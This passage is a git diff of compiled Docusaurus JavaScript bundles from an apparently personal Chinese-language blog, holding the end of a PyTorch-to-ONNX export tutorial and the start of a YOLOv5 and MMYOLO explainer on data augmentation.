tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()\n\n# \u6784\u5efa\u8f93\u5165\u7684\u5b57\u5178\u548c\u8ba1\u7b97\u8f93\u51fa\u7ed3\u679c\nort_inputs = {ort_session.get_inputs()[0].name: to_numpy(x)}\nort_outs = ort_session.run(None, ort_inputs)\n\n# \u6bd4\u8f83\u4f7f\u7528PyTorch\u548cONNX Runtime\u5f97\u51fa\u7684\u7cbe\u5ea6\nnp.testing.assert_allclose(to_numpy(torch_out), ort_outs[0], rtol=1e-03, atol=1e-05)\n\nprint("Exported model has been tested with ONNXRuntime, and the result looks good!")\n'})}),"\n",(0,o.jsx)(e.h3,{id:"5-\u8fdb\u884c\u5b9e\u9645\u9884\u6d4b\u5e76\u53ef\u89c6\u5316",children:"5. \u8fdb\u884c\u5b9e\u9645\u9884\u6d4b\u5e76\u53ef\u89c6\u5316"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:'from PIL import Image\nimport torchvision.transforms as transforms\n\n# \u8bfb\u53d6\u56fe\u7247\nimg = Image.open("/cat_224x224.jpg")\n# \u5bf9\u56fe\u7247\u8fdb\u884cresize\u64cd\u4f5c\nresize = transforms.Resize([224, 224])\nimg = resize(img)\n\nimg_ycbcr = img.convert(\'YCbCr\')\nimg_y, img_cb, img_cr = img_ycbcr.split()\n\nto_tensor = transforms.ToTensor()\nimg_y = to_tensor(img_y)\nimg_y.unsqueeze_(0)\n# \u6784\u5efa\u8f93\u5165\u7684\u5b57\u5178\u5e76\u5c06value\u8f6c\u6362\u4f4darray\u683c\u5f0f\nort_inputs = {ort_session.get_inputs()[0].name: to_numpy(img_y)}\nort_outs = ort_session.run(None, ort_inputs)\nimg_out_y = ort_outs[0]\nimg_out_y = Image.fromarray(np.uint8((img_out_y[0] * 255.0).clip(0, 255)[0]), mode=\'L\')\n\n# \u4fdd\u5b58\u6700\u540e\u5f97\u5230\u7684\u56fe\u7247\nfinal_img = Image.merge(\n "YCbCr", [\n img_out_y,\n img_cb.resize(img_out_y.size, Image.BICUBIC),\n img_cr.resize(img_out_y.size, Image.BICUBIC),\n ]).convert("RGB")\n\nfinal_img.save("/cat_superres_with_ort.jpg")\n'})}),"\n",(0,o.jsx)(e.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,o.jsxs)(e.ol,{children:["\n",(0,o.jsx)(e.li,{children:(0,o.jsx)(e.a,{href:"https://docs.microsoft.com/zh-cn/windows/ai/windows-ml/tutorials/pytorch-convert-model",children:"miscroft-\u5c06 PyTorch \u8bad\u7ec3\u6a21\u578b\u8f6c\u6362\u4e3a ONNX"})}),"\n",(0,o.jsx)(e.li,{children:(0,o.jsx)(e.a,{href:"https://pytorch.org/tutorials/advanced/super_resolution_with_onnxruntime.html",children:"pytorch- EXPORTING A MODEL FROM PYTORCH TO ONNX AND RUNNING IT USING ONNX RUNTIME"})}),"\n",(0,o.jsx)(e.li,{children:(0,o.jsx)(e.a,{href:"https://github.com/onnx/tutorials#converting-to-onnx-format",children:"ONNX tutorials"})}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,o.jsx)(e,{...n,children:(0,o.jsx)(a,{...n})}):a(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>s,x:()=>l});var i=t(96540);const o={},r=i.createContext(o);function s(n){const e=i.useContext(r);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(o):n.components||o:s(n.components),i.createElement(r.Provider,{value:e},n.children)}},69695:(n,e,t)=>{t.d(e,{A:()=>i});const i=t.p+"assets/images/screenshot-e03068e76a67aca3a37193deba005a3a.png"},93752:(n,e,t)=>{t.d(e,{A:()=>i});const i=t.p+"assets/images/frameworks-96dcf243dd832ead7229e20167dd813b.png"},98927:(n,e,t)=>{t.d(e,{A:()=>i});const i=t.p+"assets/images/node-a3181bdc49f091d1a4d0d75cedb89fd6.png"}}]); \ No newline at end of file diff --git a/en/assets/js/9e633a4f.b9cee5ad.js b/en/assets/js/9e633a4f.b9cee5ad.js new file mode 100644 index 0000000..7af011e --- /dev/null +++ b/en/assets/js/9e633a4f.b9cee5ad.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6702],{28453:(n,e,s)=>{s.d(e,{R:()=>l,x:()=>d});var i=s(96540);const r={},c=i.createContext(r);function l(n){const e=i.useContext(c);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:l(n.components),i.createElement(c.Provider,{value:e},n.children)}},79276:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>a,contentTitle:()=>d,default:()=>o,frontMatter:()=>l,metadata:()=>i,toc:()=>t});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description","title":"yolov5_description.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"rtmdet_description.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description"},"next":{"title":"torch\u5b9e\u73b0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/"}}');var r=s(74848),c=s(28453);const l={},d="yolov5_description.md",a={},t=[{value:"0 \u7b80\u4ecb",id:"0-\u7b80\u4ecb",level:2},{value:"1 v6.1 \u7b97\u6cd5\u539f\u7406\u548c MMYOLO \u5b9e\u73b0\u89e3\u6790",id:"1-v61-\u7b97\u6cd5\u539f\u7406\u548c-mmyolo-\u5b9e\u73b0\u89e3\u6790",level:2},{value:"1.1 \u6570\u636e\u589e\u5f3a\u6a21\u5757",id:"11-\u6570\u636e\u589e\u5f3a\u6a21\u5757",level:3},{value:"1.1.1 Mosaic \u9a6c\u8d5b\u514b",id:"111-mosaic-\u9a6c\u8d5b\u514b",level:4},{value:"1.1.2 RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362",id:"112-randomaffine-\u968f\u673a\u4eff\u5c04\u53d8\u6362",level:4},{value:"1.1.3 MixUp",id:"113-mixup",level:4},{value:"1.1.4 \u56fe\u50cf\u6a21\u7cca\u548c\u5176\u4ed6\u6570\u636e\u589e\u5f3a\u7b56\u7565",id:"114-\u56fe\u50cf\u6a21\u7cca\u548c\u5176\u4ed6\u6570\u636e\u589e\u5f3a\u7b56\u7565",level:4},{value:"1.1.5 MMYOLO \u5b9e\u73b0\u89e3\u6790",id:"115-mmyolo-\u5b9e\u73b0\u89e3\u6790",level:4},{value:"1.2 \u7f51\u7edc\u7ed3\u6784",id:"12-\u7f51\u7edc\u7ed3\u6784",level:3},{value:"1.2.1 Backbone",id:"121-backbone",level:4},{value:"1.2.2 Neck",id:"122-neck",level:4},{value:"1.2.3 Head",id:"123-head",level:4},{value:"1.3 \u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",id:"13-\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",level:3},{value:"1.3.1 Anchor \u8bbe\u7f6e",id:"131-anchor-\u8bbe\u7f6e",level:4},{value:"1.3.2 Bbox \u7f16\u89e3\u7801\u8fc7\u7a0b",id:"132-bbox-\u7f16\u89e3\u7801\u8fc7\u7a0b",level:4},{value:"1.3.3 \u5339\u914d\u7b56\u7565",id:"133-\u5339\u914d\u7b56\u7565",level:4},{value:"1.4 Loss \u8bbe\u8ba1",id:"14-loss-\u8bbe\u8ba1",level:3},{value:"1.5 \u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",id:"15-\u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",level:3},{value:"1.5.1 \u4f18\u5316\u5668\u5206\u7ec4",id:"151-\u4f18\u5316\u5668\u5206\u7ec4",level:4},{value:"1.5.2 weight decay \u53c2\u6570\u81ea\u9002\u5e94",id:"152-weight-decay-\u53c2\u6570\u81ea\u9002\u5e94",level:4},{value:"1.5.3 \u68af\u5ea6\u7d2f\u52a0",id:"153-\u68af\u5ea6\u7d2f\u52a0",level:4},{value:"1.6 \u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",id:"16-\u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",level:3},{value:"1.6.1 \u6838\u5fc3\u63a7\u5236\u53c2\u6570",id:"161-\u6838\u5fc3\u63a7\u5236\u53c2\u6570",level:4},{value:"1.6.2 batch shape \u7b56\u7565",id:"162-batch-shape-\u7b56\u7565",level:4},{value:"2 \u603b\u7ed3",id:"2-\u603b\u7ed3",level:2}];function h(n){const e={a:"a",code:"code",div:"div",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"yolov5_descriptionmd",children:"yolov5_description.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:40"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"yolov5-\u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790",children:"YOLOv5 \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"}),"\n",(0,r.jsx)(e.h2,{id:"0-\u7b80\u4ecb",children:"0 \u7b80\u4ecb"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"YOLOv5_structure_v3.4",src:"https://user-images.githubusercontent.com/27466624/200000324-70ae078f-cea7-4189-8baa-440656797dad.jpg"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee5\u4e0a\u7ed3\u6784\u56fe\u7531 RangeKing@github \u7ed8\u5236\u3002"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u662f\u4e00\u4e2a\u9762\u5411\u5b9e\u65f6\u5de5\u4e1a\u5e94\u7528\u800c\u5f00\u6e90\u7684\u76ee\u6807\u68c0\u6d4b\u7b97\u6cd5\uff0c\u53d7\u5230\u4e86\u5e7f\u6cdb\u5173\u6ce8\u3002\u6211\u4eec\u8ba4\u4e3a\u8ba9 YOLOv5 \u7206\u706b\u7684\u539f\u56e0\u4e0d\u5355\u7eaf\u5728\u4e8e YOLOv5 \u7b97\u6cd5\u672c\u8eab\u7684\u4f18\u5f02\u6027\uff0c\u66f4\u591a\u7684\u5728\u4e8e\u5f00\u6e90\u5e93\u7684\u5b9e\u7528\u548c\u9c81\u68d2\u6027\u3002\u7b80\u5355\u6765\u8bf4 YOLOv5 \u5f00\u6e90\u5e93\u7684\u4e3b\u8981\u7279\u70b9\u4e3a\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u53cb\u597d\u548c\u5b8c\u5584\u7684\u90e8\u7f72\u652f\u6301"})}),"\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"\u7b97\u6cd5\u8bad\u7ec3\u901f\u5ea6\u6781\u5feb"}),"\uff0c\u5728 300 epoch \u60c5\u51b5\u4e0b\u8bad\u7ec3\u65f6\u957f\u548c\u5927\u90e8\u5206 one-stage \u7b97\u6cd5\u5982 RetinaNet\u3001ATSS \u548c two-stage \u7b97\u6cd5\u5982 Faster R-CNN \u5728 12 epoch \u7684\u8bad\u7ec3\u65f6\u95f4\u63a5\u8fd1"]}),"\n",(0,r.jsxs)(e.li,{children:["\u6846\u67b6\u8fdb\u884c\u4e86",(0,r.jsx)(e.strong,{children:"\u975e\u5e38\u591a\u7684 corner case \u4f18\u5316"}),"\uff0c\u529f\u80fd\u548c\u6587\u6863\u4e5f\u6bd4\u8f83\u4e30\u5bcc"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u672c\u6587\u5c06\u4ece YOLOv5 \u7b97\u6cd5\u672c\u8eab\u539f\u7406\u8bb2\u8d77\uff0c\u7136\u540e\u91cd\u70b9\u5206\u6790 MMYOLO \u4e2d\u7684\u5b9e\u73b0\u3002\u5173\u4e8e YOLOv5 \u7684\u4f7f\u7528\u6307\u5357\u548c\u901f\u5ea6\u7b49\u5bf9\u6bd4\u8bf7\u9605\u8bfb\u672c\u6587\u7684\u540e\u7eed\u5185\u5bb9\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5e0c\u671b\u672c\u6587\u80fd\u591f\u6210\u4e3a\u4f60\u5165\u95e8\u548c\u638c\u63e1 YOLOv5 \u7684\u6838\u5fc3\u6587\u6863\u3002\u7531\u4e8e YOLOv5 \u672c\u8eab\u4e5f\u5728\u4e0d\u65ad\u8fed\u4ee3\u66f4\u65b0\uff0c\u6211\u4eec\u4e5f\u4f1a\u4e0d\u65ad\u7684\u66f4\u65b0\u672c\u6587\u6863\u3002\u8bf7\u6ce8\u610f\u9605\u8bfb\u6700\u65b0\u7248\u672c\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["MMYOLO \u5b9e\u73b0\u914d\u7f6e\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/configs/yolov5/",children:"https://github.com/open-mmlab/mmyolo/blob/main/configs/yolov5/"})]}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 \u5b98\u65b9\u5f00\u6e90\u5e93\u5730\u5740\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/ultralytics/yolov5",children:"https://github.com/ultralytics/yolov5"})]}),"\n",(0,r.jsx)(e.h2,{id:"1-v61-\u7b97\u6cd5\u539f\u7406\u548c-mmyolo-\u5b9e\u73b0\u89e3\u6790",children:"1 v6.1 \u7b97\u6cd5\u539f\u7406\u548c MMYOLO \u5b9e\u73b0\u89e3\u6790"}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 \u5b98\u65b9 release \u5730\u5740\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/ultralytics/yolov5/releases/tag/v6.1",children:"https://github.com/ultralytics/yolov5/releases/tag/v6.1"})]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"YOLOv5\u7cbe\u5ea6\u56fe",src:"https://user-images.githubusercontent.com/40284075/190542120-29d46b7e-ce3c-436a-9933-cfc9f86787bf.png"}),"\n"]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"YOLOv5\u7cbe\u5ea6\u901f\u5ea6\u56fe",src:"https://user-images.githubusercontent.com/40284075/190542279-37734629-2b59-4bd8-a9bf-757875a93eed.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u6027\u80fd\u5982\u4e0a\u8868\u6240\u793a\u3002YOLOv5 \u6709 P5 \u548c P6 \u4e24\u4e2a\u4e0d\u540c\u8bad\u7ec3\u8f93\u5165\u5c3a\u5ea6\u7684\u6a21\u578b\uff0cP6 \u5373\u4e3a 1280x1280 \u8f93\u5165\u7684\u5927\u6a21\u578b\uff0c\u901a\u5e38\u7528\u7684\u662f P5 \u5e38\u89c4\u6a21\u578b\uff0c\u8f93\u5165\u5c3a\u5bf8\u662f 640x640 \u3002\u672c\u6587\u89e3\u8bfb\u7684\u4e5f\u662f P5 \u6a21\u578b\u7ed3\u6784\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u5e38\u6765\u8bf4\uff0c\u76ee\u6807\u68c0\u6d4b\u7b97\u6cd5\u90fd\u53ef\u4ee5\u5206\u6210\u6570\u636e\u589e\u5f3a\u3001\u6a21\u578b\u7ed3\u6784\u3001loss \u8ba1\u7b97\u7b49\u7ec4\u4ef6\uff0cYOLOv5 \u4e5f\u4e00\u6837\uff0c\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"\u8bad\u7ec3\u6d4b\u8bd5\u7b56\u7565",src:"https://user-images.githubusercontent.com/40284075/190542423-f6b20d8e-c82a-4a34-9065-c161c5e29e7c.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u5c06\u4ece\u539f\u7406\u548c\u7ed3\u5408 MMYOLO \u7684\u5177\u4f53\u5b9e\u73b0\u65b9\u9762\u8fdb\u884c\u7b80\u8981\u5206\u6790\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"11-\u6570\u636e\u589e\u5f3a\u6a21\u5757",children:"1.1 \u6570\u636e\u589e\u5f3a\u6a21\u5757"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u76ee\u6807\u68c0\u6d4b\u7b97\u6cd5\u4e2d\u4f7f\u7528\u7684\u6570\u636e\u589e\u5f3a\u6bd4\u8f83\u591a\uff0c\u5305\u62ec\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"Mosaic \u9a6c\u8d5b\u514b"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"MixUp"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u56fe\u50cf\u6a21\u7cca\u7b49\u91c7\u7528 Albu \u5e93\u5b9e\u73b0\u7684\u53d8\u6362"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"HSV \u989c\u8272\u7a7a\u95f4\u589e\u5f3a"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u968f\u673a\u6c34\u5e73\u7ffb\u8f6c"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d Mosaic \u6570\u636e\u589e\u5f3a\u6982\u7387\u4e3a 1\uff0c\u8868\u793a\u4e00\u5b9a\u4f1a\u89e6\u53d1\uff0c\u800c\u5bf9\u4e8e small \u548c nano \u4e24\u4e2a\u7248\u672c\u7684\u6a21\u578b\u4e0d\u4f7f\u7528 MixUp\uff0c\u5176\u4ed6\u7684 l/m/x \u7cfb\u5217\u6a21\u578b\u5219\u91c7\u7528\u4e86 0.1 \u7684\u6982\u7387\u89e6\u53d1 MixUp\u3002\u5c0f\u6a21\u578b\u80fd\u529b\u6709\u9650\uff0c\u4e00\u822c\u4e0d\u4f1a\u91c7\u7528 MixUp \u7b49\u5f3a\u6570\u636e\u589e\u5f3a\u7b56\u7565\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u6838\u5fc3\u7684 Mosaic + RandomAffine + MixUp \u8fc7\u7a0b\u7b80\u8981\u7ed8\u5236\u5982\u4e0b\uff1a"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190542598-bbf4a159-cc9d-4bac-892c-46ef99267994.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u5bf9\u5176\u8fdb\u884c\u7b80\u8981\u5206\u6790\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"111-mosaic-\u9a6c\u8d5b\u514b",children:"1.1.1 Mosaic \u9a6c\u8d5b\u514b"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190542619-d777894f-8928-4244-b39a-158eea416ccd.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"Mosaic \u5c5e\u4e8e\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\uff0c\u56e0\u4e3a\u5b83\u5728\u8fd0\u884c\u65f6\u5019\u9700\u8981 4 \u5f20\u56fe\u7247\u62fc\u63a5\uff0c\u53d8\u76f8\u7684\u76f8\u5f53\u4e8e\u589e\u52a0\u4e86\u8bad\u7ec3\u7684 batch size\u3002\u5176\u8fd0\u884c\u8fc7\u7a0b\u7b80\u8981\u6982\u51b5\u4e3a\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u968f\u673a\u751f\u6210\u62fc\u63a5\u540e 4 \u5f20\u56fe\u7684\u4ea4\u63a5\u4e2d\u5fc3\u70b9\u5750\u6807\uff0c\u6b64\u65f6\u5c31\u76f8\u5f53\u4e8e\u786e\u5b9a\u4e86 4 \u5f20\u62fc\u63a5\u56fe\u7247\u7684\u4ea4\u63a5\u70b9"}),"\n",(0,r.jsx)(e.li,{children:"\u968f\u673a\u9009\u51fa\u53e6\u5916 3 \u5f20\u56fe\u7247\u7684\u7d22\u5f15\u4ee5\u53ca\u8bfb\u53d6\u5bf9\u5e94\u7684\u6807\u6ce8"}),"\n",(0,r.jsx)(e.li,{children:"\u5bf9\u6bcf\u5f20\u56fe\u7247\u91c7\u7528\u4fdd\u6301\u5bbd\u9ad8\u6bd4\u7684 resize \u64cd\u4f5c\u5c06\u5176\u7f29\u653e\u5230\u6307\u5b9a\u5927\u5c0f"}),"\n",(0,r.jsx)(e.li,{children:"\u6309\u7167\u4e0a\u4e0b\u5de6\u53f3\u89c4\u5219\uff0c\u8ba1\u7b97\u6bcf\u5f20\u56fe\u7247\u5728\u5f85\u8f93\u51fa\u56fe\u7247\u4e2d\u5e94\u8be5\u653e\u7f6e\u7684\u4f4d\u7f6e\uff0c\u56e0\u4e3a\u56fe\u7247\u53ef\u80fd\u51fa\u754c\u6545\u8fd8\u9700\u8981\u8ba1\u7b97\u88c1\u526a\u5750\u6807"}),"\n",(0,r.jsx)(e.li,{children:"\u5229\u7528\u88c1\u526a\u5750\u6807\u5c06\u7f29\u653e\u540e\u7684\u56fe\u7247\u88c1\u526a\uff0c\u7136\u540e\u8d34\u5230\u524d\u9762\u8ba1\u7b97\u51fa\u7684\u4f4d\u7f6e\uff0c\u5176\u4f59\u4f4d\u7f6e\u5168\u90e8\u8865 114 \u50cf\u7d20\u503c"}),"\n",(0,r.jsx)(e.li,{children:"\u5bf9\u6bcf\u5f20\u56fe\u7247\u7684\u6807\u6ce8\u4e5f\u8fdb\u884c\u76f8\u5e94\u5904\u7406"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u6ce8\u610f\uff1a\u7531\u4e8e\u62fc\u63a5\u4e86 4 \u5f20\u56fe\uff0c\u6240\u4ee5\u8f93\u51fa\u56fe\u7247\u9762\u79ef\u4f1a\u6269\u5927 4 \u500d\uff0c\u4ece 640x640 \u53d8\u6210 1280x1280\uff0c\u56e0\u6b64\u8981\u60f3\u6062\u590d\u4e3a 640x640\uff0c\n\u5fc5\u987b\u8981\u518d\u63a5\u4e00\u4e2a ",(0,r.jsx)(e.strong,{children:"RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362\uff0c\u5426\u5219\u56fe\u7247\u9762\u79ef\u5c31\u4e00\u76f4\u662f\u6269\u5927 4 \u500d\u7684"}),"\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"112-randomaffine-\u968f\u673a\u4eff\u5c04\u53d8\u6362",children:"1.1.2 RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190542871-14e91a42-329f-4084-aec5-b3e412e5364b.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u968f\u673a\u4eff\u5c04\u53d8\u6362\u6709\u4e24\u4e2a\u76ee\u7684\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5bf9\u56fe\u7247\u8fdb\u884c\u968f\u673a\u51e0\u4f55\u4eff\u5c04\u53d8\u6362"}),"\n",(0,r.jsx)(e.li,{children:"\u5c06 Mosaic \u8f93\u51fa\u7684\u6269\u5927 4 \u500d\u7684\u56fe\u7247\u8fd8\u539f\u4e3a 640x640 \u5c3a\u5bf8"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u968f\u673a\u4eff\u5c04\u53d8\u6362\u5305\u62ec\u5e73\u79fb\u3001\u65cb\u8f6c\u3001\u7f29\u653e\u3001\u9519\u5207\u7b49\u51e0\u4f55\u589e\u5f3a\u64cd\u4f5c\uff0c\u540c\u65f6\u7531\u4e8e Mosaic \u548c RandomAffine \u5c5e\u4e8e\u6bd4\u8f83\u5f3a\u7684\u589e\u5f3a\u64cd\u4f5c\uff0c\u4f1a\u5f15\u5165\u8f83\u5927\u566a\u58f0\uff0c\u56e0\u6b64\u9700\u8981\u5bf9\u589e\u5f3a\u540e\u7684\u6807\u6ce8\u8fdb\u884c\u5904\u7406\uff0c\u8fc7\u6ee4\u89c4\u5219\u4e3a\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u589e\u5f3a\u540e\u7684 gt bbox \u5bbd\u9ad8\u8981\u5927\u4e8e wh_thr"}),"\n",(0,r.jsx)(e.li,{children:"\u589e\u5f3a\u540e\u7684 gt bbox \u9762\u79ef\u548c\u589e\u5f3a\u524d\u7684 gt bbox \u9762\u79ef\u6bd4\u8981\u5927\u4e8e ar_thr\uff0c\u9632\u6b62\u589e\u5f3a\u592a\u4e25\u91cd"}),"\n",(0,r.jsx)(e.li,{children:"\u6700\u5927\u5bbd\u9ad8\u6bd4\u8981\u5c0f\u4e8e area_thr\uff0c\u9632\u6b62\u5bbd\u9ad8\u6bd4\u6539\u53d8\u592a\u591a"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u7531\u4e8e\u65cb\u8f6c\u540e\u6807\u6ce8\u6846\u4f1a\u53d8\u5927\u5bfc\u81f4\u4e0d\u51c6\u786e\uff0c\u56e0\u6b64\u76ee\u6807\u68c0\u6d4b\u91cc\u9762\u5f88\u5c11\u4f1a\u4f7f\u7528\u65cb\u8f6c\u6570\u636e\u589e\u5f3a\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"113-mixup",children:"1.1.3 